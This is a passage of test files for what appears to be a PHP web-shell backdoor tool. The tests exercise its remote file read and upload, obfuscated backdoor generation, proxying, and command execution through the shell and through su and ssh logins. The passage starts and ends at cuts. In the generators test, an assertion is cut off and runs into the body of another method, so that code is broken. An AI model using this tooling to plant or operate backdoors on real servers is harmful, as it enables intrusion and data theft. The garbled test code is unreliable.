23 | chmod 0222 "$BASE_FOLDER/dir1/dir2/0222-write" 24 | 25 | touch "$BASE_FOLDER/dir1/dir2/dir3/0000" 26 | chmod 0000 "$BASE_FOLDER/dir1/dir2/dir3/0000" 27 | """.format( 28 | config = config 29 | ), shell=True) 30 | 31 | class FileEnum(BaseTest): 32 | 33 | files_rel = [ 34 | 'test_file_enum/dir1/0111-exec', 35 | 'test_file_enum/dir1/dir2/0222-write', 36 | 'test_file_enum/dir1/dir2/dir3/0000', 37 | ] 38 | 39 | def setUp(self): 40 | self.session = SessionURL( 41 | self.url, 42 | self.password, 43 | volatile = True 44 | ) 45 | 46 | modules.load_modules(self.session) 47 | 48 | self.run_argv = modules.loaded['file_enum'].run_argv 49 | 50 | def test_file_enum(self): 51 | 52 | # Enum self.files_rel[:2] passed with arguments 53 | self.assertEqual(self.run_argv( self.files_rel[:3] ), { 54 | self.files_rel[0] : 'ex', 55 | self.files_rel[1] : 'ew', 56 | self.files_rel[2] : 'e' 57 | }) 58 | 59 | # Enum self.files_rel[:2] + bogus passed with arguments 60 | self.assertEqual(self.run_argv( self.files_rel[:3] + [ 'bogus' ] ), { 61 | self.files_rel[0] : 'ex', 62 | self.files_rel[1] : 'ew', 63 | self.files_rel[2] : 'e' 64 | }) 65 | 66 | # Enum self.files_rel[:2] + bogus passed with arguments and -print 67 | self.assertEqual(self.run_argv( self.files_rel[:3] + [ 'bogus', '-print' ] ), { 68 | self.files_rel[0] : 'ex', 69 | self.files_rel[1] : 'ew', 70 | self.files_rel[2] : 'e', 71 | 'bogus' : '' 72 | }) 73 | 74 | def test_file_enum_lpath(self): 75 | 76 | # Enum self.files_rel[:2] passed with lfile 77 | temp_file = tempfile.NamedTemporaryFile() 78 | temp_file.write('\n'.join(self.files_rel[:3]).encode('utf-8')) 79 | temp_file.flush() 80 | self.assertEqual(self.run_argv( [ '-lpath-list', temp_file.name ] ), { 81 | self.files_rel[0] : 'ex', 82 | self.files_rel[1] : 'ew', 83 | self.files_rel[2] : 'e' 84 | }) 85 | temp_file.close() 86 | 87 | # Enum self.files_rel[:2] + bogus passed with lfile 88 | temp_file = tempfile.NamedTemporaryFile() 89 | temp_file.write('\n'.join(self.files_rel[:3] + [ 'bogus' ]).encode('utf-8')) 90 | temp_file.flush() 91 | self.assertEqual(self.run_argv( [ '-lpath-list', temp_file.name ] ), { 92 | self.files_rel[0] : 'ex' , 93 | self.files_rel[1] : 'ew' , 94 | self.files_rel[2] : 'e' 95 | }) 96 | temp_file.close() 97 | 98 | # Enum self.files_rel[:2] + bogus passed with lfile and -print 99 | temp_file = tempfile.NamedTemporaryFile() 100 | temp_file.write('\n'.join(self.files_rel[:3] + [ 'bogus' ]).encode('utf-8')) 101 | temp_file.flush() 102 | self.assertEqual(self.run_argv( [ '-lpath-list', temp_file.name, '-print' ] ), { 103 | self.files_rel[0] : 'ex' , 104 | self.files_rel[1] : 'ew' , 105 | self.files_rel[2] : 'e' , 106 | 'bogus' : '' 107 | }) 108 | temp_file.close() 109 | 110 | @log_capture() 111 | def test_err(self, log_captured): 112 | 113 | self.assertIsNone(self.run_argv( [ '-lpath-list', 'bogus' ] )) 114 | self.assertEqual(messages.generic.error_loading_file_s_s[:19], 115 | log_captured.records[-1].msg[:19]) 116 | -------------------------------------------------------------------------------- /tests/test_file_ls.py: -------------------------------------------------------------------------------- 1 | from testfixtures import log_capture 2 | from tests.base_test import BaseTest 3 | from tests import config 4 | from core.sessions import SessionURL 5 | from core import modules 6 | import utils 7 | from core import messages 8 | import subprocess 9 | import os 10 | 11 | def setUpModule(): 12 | subprocess.check_output(""" 13 | BASE_FOLDER="{config.base_folder}/test_file_ls/" 14 | rm -rf "$BASE_FOLDER" 15 | 16 | mkdir -p "$BASE_FOLDER/dir1/dir2/dir3/dir4" 17 | chmod 0 "$BASE_FOLDER/dir1/dir2/dir3/dir4" 18 | """.format( 19 | config = config 20 | ), shell=True) 21 | 22 | class FileLs(BaseTest): 23 | 24 | folders = [ os.path.join(config.base_folder, f) for f in ( 25 | 'test_file_ls/dir1', 26 | 'test_file_ls/dir1/dir2', 27 | 'test_file_ls/dir1/dir2/dir3', 28 | 'test_file_ls/dir1/dir2/dir3/dir4', 29 | ) ] 30 | 31 | def setUp(self): 32 | self.session = SessionURL( 33 | self.url, 34 | self.password, 35 | volatile = True 36 | ) 37 | 38 | modules.load_modules(self.session) 39 | 40 | self.run_argv = modules.loaded['file_ls'].run_argv 41 | 42 | def test_ls(self): 43 | 44 | # ls [0] 45 | self.assertEqual(self.run_argv([ self.folders[0] ]), [ '.', '..', os.path.split(self.folders[1])[1]]) 46 | 47 | # ls [-1] 48 | self.assertEqual(self.run_argv([ self.folders[-1] ]), [ ] ) 49 | 50 | # ls [1]/.././[1]/./ 51 | new = self.folders[1] 52 | self.assertEqual(self.run_argv([ '%s/.././%s/./' % (new, os.path.split(new)[-1]) ]), [ '.', '..', os.path.split(self.folders[2])[1]]) 53 | 54 | # ls bogus 55 | self.assertEqual(self.run_argv([ 'bogus' ]), [ ] ) 56 | 57 | # ls [2]/.././[2]/../ 58 | new = self.folders[2] 59 | self.assertEqual(self.run_argv([ '%s/.././////////%s/../' % (new, os.path.split(new)[-1]) ]), [ '.', '..', os.path.split(self.folders[2])[1]]) 60 | -------------------------------------------------------------------------------- /tests/test_file_read.py: -------------------------------------------------------------------------------- 1 | from tests.base_test import BaseTest 2 | from testfixtures import log_capture 3 | from tests import config 4 | from core.sessions import SessionURL 5 | from core import modules 6 | from core import messages 7 | import subprocess 8 | import tempfile 9 | import datetime 10 | import logging 11 | import os 12 | 13 | def setUpModule(): 14 | subprocess.check_output(""" 15 | BASE_FOLDER="{config.base_folder}/test_file_read/" 16 | rm -rf "$BASE_FOLDER" 17 | 18 | mkdir -p "$BASE_FOLDER" 19 | echo -n 'OK' > "$BASE_FOLDER/ok.test" 20 | echo -n 'KO' > "$BASE_FOLDER/ko.test" 21 | # Set ko.test to ---x--x--x 0111 execute, should be no readable 22 | chmod 0111 "$BASE_FOLDER/ko.test" 23 | """.format( 24 | config = config 25 | ), shell=True) 26 | 27 | class FileRead(BaseTest): 28 | 29 | def setUp(self): 30 | session = SessionURL(self.url, self.password, volatile = True) 31 | modules.load_modules(session) 32 | 33 | self.run_argv = modules.loaded['file_read'].run_argv 34 | 35 | def test_read_php(self): 36 | 37 | # Simple download 38 | self.assertEqual(self.run_argv(['test_file_read/ok.test']), b'OK') 39 | 40 | # Downoad binary. Skip check cause I don't know the remote content, and 41 | # the md5 check is already done inside file_download. 42 | self.assertTrue(self.run_argv(['/bin/ls'])) 43 | 44 | # Download of an unreadable file 45 | self.assertEqual(self.run_argv(['test_file_read/ko.test']), None) 46 | 47 | # Download of an remote unexistant file 48 | self.assertEqual(self.run_argv(['bogus']), None) 49 | 50 | 51 | def test_read_allvectors(self): 52 | 53 | for vect in modules.loaded['file_download'].vectors.get_names(): 54 | self.assertEqual(self.run_argv(['-vector', vect, 'test_file_read/ok.test']), b'OK') 55 | 56 | def test_read_sh(self): 57 | 58 | # Simple download 59 | self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_read/ok.test']), b'OK') 60 | 61 | # Downoad binary. Skip check cause I don't know the remote content, and 62 | # the md5 check is already done inside file_download. 63 | self.assertTrue(self.run_argv(['-vector', 'base64', '/bin/ls'])) 64 | 65 | # Download of an unreadable file 66 | self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_read/ko.test']), None) 67 | 68 | # Download of an remote unexistant file 69 | self.assertEqual(self.run_argv(['-vector', 'base64', 'bogus']), None) 70 | -------------------------------------------------------------------------------- /tests/test_file_upload.py: -------------------------------------------------------------------------------- 1 | from tests.base_test import BaseTest 2 | from testfixtures import log_capture 3 | from tests import config 4 | from core.sessions import SessionURL 5 | from core import modules 6 | from core import messages 7 | import subprocess 8 | import tempfile 9 | import datetime 10 | import logging 11 | import os 12 | 13 | def setUpModule(): 14 | subprocess.check_output(""" 15 | BASE_FOLDER="{config.base_folder}/test_file_upload/" 16 | rm -rf "$BASE_FOLDER" 17 | 18 | mkdir -p "$BASE_FOLDER" 19 | echo -n 'KO' > "$BASE_FOLDER/ok.test" 20 | chown www-data: -R "$BASE_FOLDER/" 21 | """.format( 22 | config = config 23 | ), shell=True) 24 | 25 | class FileUpload(BaseTest): 26 | 27 | def setUp(self): 28 | session = SessionURL(self.url, self.password, volatile = True) 29 | modules.load_modules(session) 30 | 31 | self.run_argv = modules.loaded['file_upload'].run_argv 32 | 33 | @log_capture() 34 | def test_upload(self, log_captured): 35 | 36 | # Upload content 37 | self.assertTrue(self.run_argv([ 'test_file_upload/f1', '-content', 'CONTENT' ])) 38 | 39 | # Upload lfile 40 | temp_file = tempfile.NamedTemporaryFile() 41 | temp_file.write(b'CONTENT') 42 | self.assertTrue(self.run_argv([ temp_file.name, 'test_file_upload/f2' ])) 43 | temp_file.close() 44 | 45 | @log_capture() 46 | def test_upload_fwrite(self, log_captured): 47 | 48 | # Upload content 49 | self.assertTrue(self.run_argv([ 'test_file_upload/f3', '-content', 'CONTENT', '-vector', 'fwrite' ])) 50 | 51 | # Upload lfile 52 | temp_file = tempfile.NamedTemporaryFile() 53 | temp_file.write(b'CONTENT') 54 | self.assertTrue(self.run_argv([ temp_file.name, 'test_file_upload/f4', '-vector', 'fwrite' ])) 55 | temp_file.close() 56 | 57 | @log_capture() 58 | def test_upload_errs(self, log_captured): 59 | 60 | # Do not specify content or lpath 61 | self.assertFalse(self.run_argv([ 'bogus' ])) 62 | self.assertEqual(log_captured.records[-1].msg, 63 | messages.module_file_upload.error_content_lpath_required) 64 | 65 | # Upload a not existant lpath 66 | self.assertFalse(self.run_argv([ 'bogus', 'bogus' ])) 67 | self.assertEqual(log_captured.records[-1].msg[:18], 68 | messages.generic.error_loading_file_s_s[:18]) 69 | 70 | # Upload to a not existant rpath 71 | self.assertFalse(self.run_argv([ 'asd/asd/asd/asd', '-content', 'CONTENT' ])) 72 | self.assertEqual(log_captured.records[-1].msg, 73 | messages.module_file_upload.failed_upload_file) 74 | 75 | def test_upload_empty(self): 76 | 77 | # Upload content 78 | self.assertTrue(self.run_argv([ 'test_file_upload/f5', '-content', '' ])) 79 | 80 | # Upload lfile 81 | temp_file = tempfile.NamedTemporaryFile() 82 | self.assertTrue(self.run_argv([ temp_file.name, 'test_file_upload/f6' ])) 83 | temp_file.close() 84 | 85 | 86 | @log_capture() 87 | def test_upload_overwrite(self, log_captured): 88 | 89 | # Try to overwrite 90 | self.assertFalse(self.run_argv([ 'test_file_upload/ok.test', '-content', 'CONTENT' ])) 91 | self.assertEqual(log_captured.records[-1].msg, 92 | messages.generic.error_file_s_already_exists % 'test_file_upload/ok.test') 93 | 94 | # Now force 95 | self.assertTrue(self.run_argv([ 'test_file_upload/ok.test', '-content', 'CONTENT', '-force' ])) 96 | 97 | @log_capture() 98 | def test_upload_overwrite_fwrite(self, log_captured): 99 | 100 | # Try to overwrite 101 | self.assertFalse(self.run_argv([ 'test_file_upload/ok.test', '-content', 'CONTENT', '-vector', 'fwrite' ])) 102 | self.assertEqual(log_captured.records[-1].msg, 103 | messages.generic.error_file_s_already_exists % 'test_file_upload/ok.test') 104 | 105 | # Now force 106 | self.assertTrue(self.run_argv([ 'test_file_upload/ok.test', '-content', 'CONTENT', '-force', '-vector', 'fwrite' ])) 107 | 108 | @log_capture() 109 | def test_upload_binary(self, log_captured): 110 | 111 | binary_content = b'\xbe\x00\xc8d\xf8d\x08\xe4' 112 | 113 | # Upload lfile 114 | temp_file = tempfile.NamedTemporaryFile() 115 | temp_file.write(binary_content) 116 | self.assertTrue(self.run_argv([ temp_file.name, 'test_file_upload/f8' ])) 117 | temp_file.close() 118 | 119 | @log_capture() 120 | def test_upload_binary_fwrite(self, log_captured): 121 | 122 | binary_content = b'\xbe\x00\xc8d\xf8d\x08\xe4' 123 | 124 | # Upload lfile 125 | temp_file = tempfile.NamedTemporaryFile() 126 | temp_file.write(binary_content) 127 | self.assertTrue(self.run_argv([ temp_file.name, 'test_file_upload/f10', '-vector', 'fwrite' ])) 128 | temp_file.close() 129 | -------------------------------------------------------------------------------- /tests/test_file_upload2web.py: -------------------------------------------------------------------------------- 1 | from testfixtures import log_capture 2 | from tests.base_test import BaseTest 3 | from tests import config 4 | from core.sessions import SessionURL 5 | from core import modules 6 | import utils 7 | from core import messages 8 | import subprocess 9 | import tempfile 10 | import os 11 | 12 | def setUpModule(): 13 | subprocess.check_output(""" 14 | BASE_FOLDER="{config.base_folder}/test_file_upload2web/" 15 | rm -rf "$BASE_FOLDER" 16 | 17 | mkdir -p "$BASE_FOLDER/0777/0555/0777/0555" 18 | chown www-data: -R "$BASE_FOLDER/" 19 | chmod 0777 "$BASE_FOLDER/0777" 20 | chmod 0777 "$BASE_FOLDER/0777/0555/0777/" 21 | chmod 0555 "$BASE_FOLDER/0777/0555" 22 | chmod 0555 "$BASE_FOLDER/0777/0555/0777/0555" 23 | """.format( 24 | config = config 25 | ), shell=True) 26 | 27 | class UploadWeb(BaseTest): 28 | 29 | def setUp(self): 30 | self.session = SessionURL( 31 | self.url, 32 | self.password, 33 | volatile = True 34 | ) 35 | 36 | modules.load_modules(self.session) 37 | 38 | # Create the folder tree 39 | self.folders_rel = [ 40 | 'test_file_upload2web/0777/', 41 | 'test_file_upload2web/0777/0555/', 42 | 'test_file_upload2web/0777/0555/0777/', 43 | 'test_file_upload2web/0777/0555/0777/0555' 44 | ] 45 | 46 | self.run_argv = modules.loaded['file_upload2web'].run_argv 47 | 48 | 49 | def _get_path_url(self, folder_deepness, filename): 50 | 51 | rurl = os.path.sep.join([ 52 | config.base_url.rstrip('/'), 53 | self.folders_rel[folder_deepness].strip('/'), 54 | filename.lstrip('/')] 55 | ) 56 | rpath = os.path.sep.join([ 57 | config.base_folder.rstrip('/'), 58 | self.folders_rel[folder_deepness].strip('/'), 59 | filename.lstrip('/')] 60 | ) 61 | return rpath, rurl 62 | 63 | def test_file_uploadweb(self): 64 | 65 | # Upload lfile with a specific path 66 | temp_file = tempfile.NamedTemporaryFile() 67 | rpath, rurl = self._get_path_url(0, 'f1') 68 | self.assertEqual( 69 | self.run_argv([ temp_file.name, rpath ]), 70 | [ ( rpath, rurl ) ] 71 | ) 72 | temp_file.close() 73 | 74 | # Upload lfile guessing first writable path starting from [0] 75 | temp_file = tempfile.NamedTemporaryFile() 76 | temp_folder, temp_filename = os.path.split(temp_file.name) 77 | rpath, rurl = self._get_path_url(0, temp_filename) 78 | self.assertEqual( 79 | self.run_argv([ temp_file.name, self.folders_rel[0] ]), 80 | [ ( rpath, rurl ) ] 81 | ) 82 | temp_file.close() 83 | 84 | # Upload lfile guessing first writable path from [1], 85 | # that is [2] 86 | temp_file = tempfile.NamedTemporaryFile() 87 | temp_folder, temp_filename = os.path.split(temp_file.name) 88 | rpath, rurl = self._get_path_url(2, temp_filename) 89 | self.assertEqual( 90 | self.run_argv([ temp_file.name, self.folders_rel[1] ]), 91 | [ ( rpath, rurl ) ] 92 | ) 93 | temp_file.close() 94 | 95 | 96 | def test_file_uploadweb_content(self): 97 | 98 | # Upload content with fake lfile guessing first writable path from [1], 99 | # that is [2] 100 | temp_file_name = '/tmp/nonexistant' 101 | temp_folder, temp_filename = os.path.split(temp_file_name) 102 | rpath, rurl = self._get_path_url(2, temp_filename) 103 | self.assertEqual( 104 | self.run_argv([ temp_file_name, self.folders_rel[1], '-content', '1' ]), 105 | [ ( rpath, rurl ) ] 106 | ) 107 | 108 | @log_capture() 109 | def test_uploadweb_errs(self, log_captured): 110 | 111 | # Upload a not existant lpath 112 | self.assertIsNone(self.run_argv([ 'bogus', self.folders_rel[0] ])) 113 | self.assertEqual(log_captured.records[-1].msg[:18], 114 | messages.generic.error_loading_file_s_s[:18]) 115 | 116 | # Upload a not existant rpath 117 | temp_file = tempfile.NamedTemporaryFile() 118 | self.assertIsNone(self.run_argv([ temp_file.name, self.folders_rel[0] + '/bogus/bogus' ])) 119 | self.assertEqual(log_captured.records[-1].msg, 120 | messages.module_file_upload.failed_upload_file) 121 | 122 | # Upload a not writable folder 123 | temp_file = tempfile.NamedTemporaryFile() 124 | self.assertIsNone(self.run_argv([ temp_file.name, self.folders_rel[3] + '/bogus' ])) 125 | self.assertEqual(log_captured.records[-1].msg, 126 | messages.module_file_upload.failed_upload_file) 127 | -------------------------------------------------------------------------------- /tests/test_generators.py: -------------------------------------------------------------------------------- 1 | from contextlib import redirect_stdout 2 | import hashlib 3 | import os 4 | import random 5 | import subprocess 6 | from contextlib import redirect_stdout 7 | from io import TextIOWrapper, BytesIO 8 | from unittest import TestCase 9 | 10 | import utils 11 | from core.channels.channel import Channel 12 | from core.generate import generate, save_generated 13 | from tests.config import base_folder, base_url 14 | 15 | 16 | def setUpModule(): 17 | subprocess.check_output(""" 18 | BASE_FOLDER="{base_folder}/generators/" 19 | rm -rf "$BASE_FOLDER" 20 | 21 | mkdir "$BASE_FOLDER" 22 | chown www-data: -R "$BASE_FOLDER/" 23 | """.format( 24 | base_folder = base_folder 25 | ), shell=True) 26 | 27 | class TestGenerators(TestCase): 28 | 29 | def test_generators(self): 30 | with TextIOWrapper(buffer=BytesIO()) as buf, redirect_stdout(buf): 31 | obfuscated = generate('dummy', 'phar') 32 | save_generated(obfuscated, '-') 33 | buf.buffer.seek(0) 34 | output = buf.buffer.read() 35 | 36 | self.assertTrue(output.startswith(b'', output) 38 | 39 | for i in range(0, 200): 40 | self._randomize_bd() 41 | obfuscated = generate(self.password.decode('utf-8'), self.obfuscator) 42 | save_generated(obfuscated, self.path) 43 | 44 | self.channel = Channel( 45 | 'ObfPost', 46 | { 47 | 'url' : self.url, 48 | 'password' : self.password.decode('utf-8') 49 | } 50 | ) 51 | self._incremental_requests(10, 100, 30, 50) 52 | 53 | self._clean_bd() 54 | 55 | def _incremental_requests( 56 | self, 57 | size_start, 58 | size_to, 59 | step_rand_start, 60 | step_rand_to): 61 | 62 | for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)): 63 | payload = utils.strings.randstr(i) 64 | self.assertEqual( 65 | self.channel.send( 66 | 'echo("%s");' % 67 | payload.decode('utf-8'))[0], 68 | payload, f'Obfuscator failed: {self.obfuscator}') 69 | 70 | @classmethod 71 | def _randomize_bd(cls): 72 | cls.obfuscator = 'obfusc1_php' if random.randint(0, 100) > 50 else 'phar' 73 | cls.password = utils.strings.randstr(10) 74 | password_hash = hashlib.md5(cls.password).hexdigest().lower() 75 | filename = '%s_%s.php' % ( 76 | __name__, cls.password) 77 | cls.url = os.path.join(base_url, 'generators', filename) 78 | cls.path = os.path.join(base_folder, 'generators', filename) 79 | 80 | @classmethod 81 | def _clean_bd(cls): 82 | os.remove(cls.path) 83 | -------------------------------------------------------------------------------- /tests/test_net_proxy.py: -------------------------------------------------------------------------------- 1 | from tests.base_test import BaseTest 2 | from tests import config 3 | from core.sessions import SessionURL 4 | from core import modules 5 | from core import messages 6 | import subprocess 7 | import logging 8 | import tempfile 9 | import os 10 | import re 11 | import time 12 | import json 13 | import socket 14 | 15 | 16 | class Proxy(BaseTest): 17 | 18 | def setUp(self): 19 | session = SessionURL(self.url, self.password, volatile = True) 20 | modules.load_modules(session) 21 | 22 | self.url = 'http://httpbin-inst' 23 | 24 | modules.loaded['net_proxy'].run_argv([ '-lhost', '0.0.0.0', '-lport', '8080' ]) 25 | 26 | 27 | def run_argv(self, arguments, unquoted_args = ''): 28 | 29 | arguments += [ '--proxy', '127.0.0.1:8080' ] 30 | result = subprocess.check_output( 31 | 'curl -s %s "%s"' % (unquoted_args, '" "'.join(arguments)), 32 | shell=True).strip() 33 | 34 | return result 35 | 36 | def _json_result(self, args, unquoted_args = ''): 37 | 38 | result = self.run_argv(args, unquoted_args).decode('utf-8') 39 | 40 | return result if not result else json.loads(result) 41 | 42 | def _headers_result(self, args): 43 | return self.run_argv(args, unquoted_args = '-sSL -D - -o /dev/null').splitlines() 44 | 45 | def test_all(self): 46 | 47 | # HTTPS GET with no SSL check 48 | self.assertIn( 49 | b'Google', 50 | self.run_argv([ 'https://www.google.com', '-k' ]) 51 | ) 52 | 53 | # HTTPS GET with cacert 54 | self.assertIn( 55 | b'Google', 56 | self.run_argv([ 'https://www.google.com' ], unquoted_args='--cacert ~/.weevely/certs/ca.crt') 57 | ) 58 | 59 | # HTTPS without cacert 60 | try: 61 | self.run_argv([ 'https://www.google.com' ]) 62 | except subprocess.CalledProcessError: 63 | pass 64 | else: 65 | self.fail("No error") 66 | 67 | # Simple GET 68 | url = self.url + '/get' 69 | self.assertEqual( 70 | url, 71 | self._json_result([ url ])['url'] 72 | ) 73 | 74 | # PUT request 75 | url = self.url + '/put' 76 | self.assertEqual( 77 | url, 78 | self._json_result([ url, '-X', 'PUT' ])['url'] 79 | ) 80 | 81 | # OPTIONS request - there is nothing to test OPTIONS in 82 | # httpbin, but still it's an accepted VERB which returns 200 OK 83 | url = self.url + '/anything' 84 | self.assertEqual( 85 | b'200 OK', 86 | self._headers_result([ url, '-X', 'PUT' ])[0][-6:] 87 | ) 88 | 89 | # Add header 90 | url = self.url + '/headers' 91 | self.assertEqual( 92 | 'value', 93 | self._json_result([ url, '-H', 'X-Arbitrary-Header: value' ])['headers']['X-Arbitrary-Header'] 94 | ) 95 | 96 | # Add cookie 97 | url = self.url + '/cookies' 98 | self.assertEqual( 99 | {'C1': 'bogus', 'C2' : 'bogus2'}, 100 | self._json_result([ url, '-b', 'C1=bogus;C2=bogus2' ])['cookies'] 101 | ) 102 | 103 | 104 | # POST request with data 105 | url = self.url + '/post' 106 | result = self._json_result([ url, '--data', 'f1=data1&f2=data2' ]) 107 | self.assertEqual( 108 | { 'f1': 'data1', 'f2': 'data2' }, 109 | result['form'] 110 | ) 111 | self.assertEqual( 112 | "application/x-www-form-urlencoded", 113 | result['headers']['Content-Type'] 114 | ) 115 | 116 | # POST request with binary string 117 | url = self.url + '/post' 118 | result = self._json_result([ url ], unquoted_args="--data FIELD=$(env echo -ne 'D\\x41\\x54A\\x00B')") 119 | self.assertEqual( 120 | { 'FIELD': 'DATAB' }, 121 | result['form'] 122 | ) 123 | 124 | # Simple GET with parameters 125 | url = self.url + '/get?f1=data1&f2=data2' 126 | self.assertEqual( 127 | { 'f1': 'data1', 'f2': 'data2' }, 128 | self._json_result([ url ])['args'] 129 | ) 130 | 131 | # HTTPS GET to test SSL checks are disabled 132 | google_ip = socket.gethostbyname('www.google.com') 133 | self.assertIn( 134 | b'google', 135 | self.run_argv([ 'https://' + google_ip, "-k" ]) 136 | ) 137 | 138 | # UNREACHABLE 139 | # This is not true depending on the used ISP, commenting it out 140 | #self.assertIn('Message: Bad Gateway.', self.run_argv([ 'http://co.uk:0' ])) 141 | 142 | # FILTERED 143 | self.assertIn(b'Message: Bad Gateway.', self.run_argv([ 'http://www.google.com:9999', '--connect-timeout', '1' ])) 144 | 145 | # CLOSED 146 | self.assertIn(b'Message: Bad Gateway.', self.run_argv([ 'http://localhost:9999', '--connect-timeout', '1' ])) 147 | -------------------------------------------------------------------------------- /tests/test_shell_php.py: -------------------------------------------------------------------------------- 1 | from tests.base_test import BaseTest 2 | from testfixtures import log_capture 3 | from core import modules 4 | from core.sessions import SessionURL 5 | from core import messages 6 | 7 | 8 | class ShellPHP(BaseTest): 9 | 10 | def setUp(self): 11 | session = SessionURL(self.url, self.password, volatile=True) 12 | modules.load_modules(session) 13 | 14 | self.run_argv = modules.loaded['shell_php'].run_argv 15 | 16 | @log_capture() 17 | def test_commands(self, log_captured): 18 | self.assertEqual(self.run_argv(["echo(1);"]), "1") 19 | 20 | # Check remote error warning 21 | self.assertEqual(self.run_argv(['throw new Exception("Don\'t panic!");']), "") 22 | self.assertEqual('[ERR:500] eval: Don\'t panic!', 23 | log_captured.records[-1].msg) 24 | 25 | # Check generic remote error 26 | self.assertEqual(self.run_argv(["echo(1)"]), "") 27 | self.assertRegex(log_captured.records[-2].msg, 28 | messages.module_shell_php.missing_php_trailer_s % ".*echo\\(1\\)") 29 | self.assertEqual(messages.module_shell_php.error_500_executing, 30 | log_captured.records[-1].msg) 31 | 32 | # Check warnings on 404. 33 | self.assertEqual(self.run_argv(["header('HTTP/1.0 404 Not Found');"]), "") 34 | self.assertEqual(messages.module_shell_php.error_404_remote_backdoor, 35 | log_captured.records[-1].msg) 36 | -------------------------------------------------------------------------------- /tests/test_shell_sh.py: -------------------------------------------------------------------------------- 1 | from tests.base_test import BaseTest 2 | from core.weexceptions import ArgparseError 3 | from core.vectors import PhpCode 4 | from core.vectors import Os 5 | from core import modules 6 | from core.sessions import SessionURL 7 | from core import messages 8 | import logging 9 | import os 10 | 11 | class SystemInfo(BaseTest): 12 | 13 | def setUp(self): 14 | self.session = SessionURL(self.url, self.password, volatile = True) 15 | modules.load_modules(self.session) 16 | 17 | self.run_argv = modules.loaded['shell_sh'].run_argv 18 | 19 | def _spoil_vectors_but(self, vector_safe_name): 20 | # Spoil all the module sessions but the safe one 21 | for i in range(0, len(modules.loaded['shell_sh'].vectors)): 22 | name = modules.loaded['shell_sh'].vectors[i].name 23 | payload = modules.loaded['shell_sh'].vectors[i].arguments[0] 24 | 25 | if name != vector_safe_name: 26 | modules.loaded['shell_sh'].vectors[i] = PhpCode('\'"%s' % payload, name) 27 | 28 | def test_run_unless(self): 29 | 30 | vector_safe_name = 'proc_open' 31 | 32 | self._spoil_vectors_but(vector_safe_name) 33 | 34 | # Check correctness of execution 35 | self.assertEqual(self.run_argv(["echo -n 1"]), "1"); 36 | 37 | # Check stored vector 38 | self.assertEqual(self.session['shell_sh']['stored_args']['vector'], vector_safe_name) 39 | 40 | def test_param_vector(self): 41 | 42 | vector_safe_name = 'proc_open' 43 | 44 | # Check correctness of execution 45 | self.assertEqual(self.run_argv(["-vector", vector_safe_name, "echo -n 1"]), "1"); 46 | 47 | # Check stored vector 48 | self.assertEqual(self.session['shell_sh']['stored_args']['vector'], vector_safe_name) 49 | 50 | def test_vector_one_os(self): 51 | 52 | bogus_vector = 'bogus_win' 53 | 54 | # Add a bogus Os.WIN vector 55 | modules.loaded['shell_sh'].vectors.append(PhpCode("echo(1);", name=bogus_vector, target=Os.WIN)) 56 | 57 | # Check if called forced the bogusv vector name, returns Null 58 | self.assertRaises(ArgparseError, self.run_argv, ["-vector", bogus_vector, "echo 1"]); 59 | 60 | def test_vector_all_os(self): 61 | 62 | bogus_vector = 'bogus_win' 63 | 64 | # Add a bogus Os.WIN vector 65 | modules.loaded['shell_sh'].vectors.append(PhpCode("echo(1);", name=bogus_vector, target=Os.WIN)) 66 | 67 | # Spoil all vectors but bogus_win 68 | self._spoil_vectors_but(bogus_vector) 69 | 70 | # Check if looping all vectors still returns None 71 | self.assertIsNone(self.run_argv(["echo 1"]), None); 72 | -------------------------------------------------------------------------------- /tests/test_shell_ssh.py: -------------------------------------------------------------------------------- 1 | from core import modules 2 | from core.sessions import SessionURL 3 | from tests.base_test import BaseTest 4 | from tests.config import su_user, su_passwd 5 | 6 | 7 | class ShellSsh(BaseTest): 8 | def setUp(self): 9 | self.session = SessionURL(self.url, self.password, volatile = True) 10 | modules.load_modules(self.session) 11 | 12 | self.vector_list = modules.loaded['shell_ssh'].vectors.get_names() 13 | self.run_argv = modules.loaded['shell_ssh'].run_argv 14 | 15 | def test_param_vector(self): 16 | for vect in self.vector_list: 17 | output = self.run_argv(['-vector', vect, f'{su_user}@localhost', su_passwd, 'whoami']) 18 | self.assertEqual(output.rstrip(), su_user) 19 | -------------------------------------------------------------------------------- /tests/test_shell_su.py: -------------------------------------------------------------------------------- 1 | from tests.base_test import BaseTest 2 | from core.weexceptions import ArgparseError 3 | from core.vectors import PhpCode 4 | from core.vectors import Os 5 | from core import modules 6 | from core.sessions import SessionURL 7 | from core import messages 8 | from tests.config import su_user, su_passwd 9 | import core.config 10 | import unittest 11 | import logging 12 | import os 13 | 14 | class ShellSu(BaseTest): 15 | 16 | def setUp(self): 17 | self.session = SessionURL(self.url, self.password, volatile = True) 18 | modules.load_modules(self.session) 19 | 20 | self.vector_list = modules.loaded['shell_su'].vectors.get_names() 21 | 22 | self.run_argv = modules.loaded['shell_su'].run_argv 23 | 24 | 25 | def test_param_vector(self): 26 | 27 | for vect in self.vector_list: 28 | # Check correctness of execution 29 | self.assertEqual(self.run_argv(["-vector", vect, "-u", su_user, su_passwd, "whoami"]).rstrip(), su_user); 30 | -------------------------------------------------------------------------------- /tests/test_sql_console.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import unittest 3 | 4 | from testfixtures import log_capture 5 | 6 | from core import messages 7 | from core import modules 8 | from core.sessions import SessionURL 9 | from tests import config 10 | from tests.base_test import BaseTest 11 | 12 | 13 | def setUpModule(): 14 | try: 15 | # This workaround fixes https://github.com/docker/for-linux/issues/72 16 | subprocess.check_output("""find /var/lib/mysql -type f -exec touch {} \; && service mariadb start""", shell=True) 17 | except Exception as e: 18 | print('[!] Failed mysql') 19 | print(subprocess.check_output("""grep "" /var/log/mysql/*""", shell=True)) 20 | raise 21 | 22 | class MySQLConsole(BaseTest): 23 | 24 | def setUp(self): 25 | self.session = SessionURL(self.url, self.password, volatile = True) 26 | modules.load_modules(self.session) 27 | 28 | self.run_argv = modules.loaded['sql_console'].run_argv 29 | self.run_cmdline = modules.loaded['sql_console'].run_cmdline 30 | 31 | @unittest.skipIf(not config.sql_autologin, 32 | "Autologin is not set") 33 | def test_autologin(self): 34 | self.assertEqual(self.run_argv(['-query', "select 'A';"]), { 'error' : '', 'result' : [["A"], ["A"]] }) 35 | self.assertEqual(self.run_argv(['-query', 'select @@hostname;'])['error'], '') 36 | self.assertEqual(self.run_argv(['-query', 'show databases;'])['error'], '') 37 | 38 | @log_capture() 39 | 